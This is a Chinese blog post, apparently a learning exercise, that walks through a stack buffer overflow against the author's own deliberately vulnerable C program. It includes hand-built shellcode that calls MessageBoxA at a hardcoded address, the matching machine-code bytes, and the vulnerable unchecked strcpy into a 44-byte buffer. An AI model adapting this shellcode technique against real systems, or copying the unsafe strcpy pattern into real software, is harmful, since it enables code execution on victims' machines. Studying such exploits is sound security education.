获得正确的结果已经不能满足我的欲望了,我希望能进一步的利用,从而弹出一个消息框,这将使用到MessageBox函数。
我们先计算MessageBoxA的地址
0x77D10000+0X000407EA=0x77D507EA
我们写入对应的汇编代码:
1 __asm 2 { 3 xor ebx,ebx 4 push ebx 5 push 0x00003231 6 push 0x30326b74 7 mov eax,esp 8 push ebx 9 push eax 10 push eax 11 push ebx 12 mov eax,0x77D507EA 13 call eax 14 add esp,0xc 15 }
则,对应的机器码为:
33DB 53 68 31320000 68 746B3230 8BC4 53 50 50 53 B8 EA07D577 FFD0 83C4 0C
将其写入到txt文件中,等待进行长度的匹配。
通过不断的调试,终于文件password.txt中的内容为
我们的源码中改变了一点
1 // stack_overflow.cpp : Defines the entry point for the console application. 2 // 3 4 #include "stdafx.h" 5 #include <WINDOWS.H> 6 #define PASSWORD "1234567" 7 8 int verify_password(char *password) 9 { 10 int authenticated; 11 char buffer[44]; 12 authenticated = strcmp(password,PASSWORD); 13 strcpy(buffer,password); //溢出位置 14 return authenticated; 15 } 16 17 void main() 18 { 19 LoadLibraryA("user32.dll"); 20 21 int valid_flag = 0; 22 char password[1024]; 23 FILE* fp; 24 if (!(fp = fopen("D:\\password.txt","rw+"))) 25 { 26 exit(0); 27 } 28 fscanf(fp,"%s",password); 29 valid_flag = verify_password(password); 30 if (valid_flag) 31 { 32 printf("incorrect password!\n\n"); 33 } 34 else 35 { 36 printf("Congratulation!You have passed the verification!\n"); 37 } 38 fclose(fp); 39 } 40
添加了include <windows.h>和LoadLibrary(“user32.dll”)
为了添加messagebox方便。
因为strcpy会对00截断,所以我们构造的字符文件必须要满足一些条件,不断的调试。
成功后出现
可惜程序还是会出现崩溃,本来想实现堆栈平衡的,结果被strcpy截断了。
https://files.cnblogs.com/tk091/overflowExeAndTxt.rar
==================================
书读多了,就会有福至心灵的感觉。